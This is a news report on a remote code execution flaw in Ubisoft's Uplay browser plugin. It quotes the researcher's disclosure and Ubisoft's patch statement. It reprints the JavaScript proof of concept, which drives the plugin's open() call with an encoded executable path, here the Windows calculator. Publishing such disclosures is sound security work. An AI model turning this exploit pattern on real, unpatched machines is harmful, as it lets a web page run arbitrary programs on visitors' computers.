Vulnerability in Ubisoft Uplay allows attacker to gain control of your computer

Google security Researcher ,Tavis Ormandy, has discovered a critical vulnerability in Ubisoft Uplay plugin software that could allow hackers to remotely install programs onto your PC.

It is possible for attackers to use a few lines of JavaScript to persuade the plugin to launch arbitrary processes – the potential victim only needs to open a specially crafted web page.

"While on vacation recently I bought a video game called 'Assassin's Creed Revelations,' he posted on the Full Disclosure mailing list. "I noticed the installation procedure creates a browser plugin for its accompanying Uplay launcher, which grants unexpectedly (at least to me) wide access to websites."

The javascript code that exploits the vulenrability:

var x = document.createElement('OBJECT');

x.setAttribute("type", "application/x-uplaypc");
document.body.appendChild(x);
x.open("-orbit_product_id 1 -orbit_exe_path QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play")

Here is a proof-of-concept page, users can check if their system is vulnerable: the page attempts to start the Windows Calculator.

Ubisoft has fixed a security flaw.

“We have made a forced patch to correct the flaw in the browser plug-in for the Uplay PC application that was brought to our attention earlier today. We recommend that all Uplay users update their Uplay PC application without a Web browser open. This will allow the plug-in to update correctly. An updated version of the Uplay PC installer with the patch also is available from Uplay.com."Ubisoft statement reads.

"Ubisoft takes security issues very seriously, and we will continue to monitor all reports of vulnerabilities within our software and take swift action to resolve such issues.”